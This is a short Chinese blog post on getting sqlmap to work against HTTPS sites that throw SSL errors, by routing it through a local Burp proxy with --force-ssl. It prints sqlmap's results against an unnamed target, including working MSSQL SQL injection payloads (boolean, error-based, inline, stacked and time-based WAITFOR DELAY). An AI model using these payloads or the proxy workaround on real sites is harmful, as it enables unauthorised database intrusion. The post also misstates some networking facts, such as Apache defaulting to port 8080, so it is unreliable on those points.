Drunkmars's Blog

sqlmap在https下的一种错误 - ssl连接失败

字数统计: 711阅读时长: 3 min
2021/03/16

前不久与师傅的交流中师傅考了我一个问题,在用sqlmap跑的时候遇到ssl爆红该怎么办,因为在实战中并没有遇到过这种情况,所以今天补一下知识。

首先查询了ssl的概念,通俗来说,如果一个网站没有安装ssl证书,那么他的传输方式就是http传输,安装ssl证书过后就是https传输,https传输加密性比http好得多,这是其一;当你访问一些没有安装ssl的网站时,会出现如下界面:

没有安装ssl会导致信息很容易被窃取,这是其二;拥有ssl证书的网站会在谷歌和百度拥有更高的权重,通俗来说就是当你搜索一个相同的内容时,拥有ssl的网站肯定会比没有ssl的网站在搜索上靠前。

了解概念之后回到师傅抛给我的问题,为什么网站会报ssl连接错误呢?

就是因为ssl证书的原因,而且sqlmap它是不能自动伪造ssl证书的,所以这时候就有两种方法去解决ssl爆红的操作:

  1. 通过本地代理端口进行访问

  2. 通过搭建web,访问代理文件进行注入

师傅给我说的是第一种方法是最常用的,用bp代理本地8080端口

1
--proxy http://127.0.0.1:8080

8080端口是被用于WWW代理服务的,apache安装后默认的端口就是8080端口。

因为目标站是https,加入--force-ssl参数

然而还是报错ssl,这时候就只能代理本地的8080端口

然后就能够顺利跑出来,结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
Parameter: id (POST)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: id=**3395** AND **1967**=**1967**

Vector: AND [INFERENCE]

Type: error-based

Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)

Payload: id=**3395** AND **8669** IN (SELECT
(CHAR(**113**)+CHAR(**118**)+CHAR(**106**)+CHAR(**98**)+CHAR(**113**)+(SELECT
(CASE WHEN (**8669**=**8669**) THEN CHAR(**49**) ELSE CHAR(**48**)
END))+CHAR(**113**)+CHAR(**112**)+CHAR(**107**)+CHAR(**118**)+CHAR(**113**)))

Vector: AND [RANDNUM] IN (SELECT
('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))

Type: inline query

Title: Microsoft SQL Server/Sybase inline queries

Payload: id=(SELECT
CHAR(**113**)+CHAR(**118**)+CHAR(**106**)+CHAR(**98**)+CHAR(**113**)+(SELECT
(CASE WHEN (**6806**=**6806**) THEN CHAR(**49**) ELSE CHAR(**48**)
END))+CHAR(**113**)+CHAR(**112**)+CHAR(**107**)+CHAR(**118**)+CHAR(**113**))

Vector: (SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')

Type: stacked queries

Title: Microsoft SQL Server/Sybase stacked queries (comment)

Payload: id=**3395**;WAITFOR DELAY '0:0:5'--

Vector: ;IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'--

Type: AND/OR time-based blind

Title: Microsoft SQL Server/Sybase time-based blind (IF - comment)

Payload: id=**3395** WAITFOR DELAY '0:0:5'--

Vector: IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'--

另外一种方法就是用一个php文件直接用sqlmap跑php就ok

因为第二种方法比较麻烦,还要写代码,这里就先不搞了QAQ

查阅google后看到,第一种方法不一定用bp代理,通过charles本地映射后访问也可以

CATALOG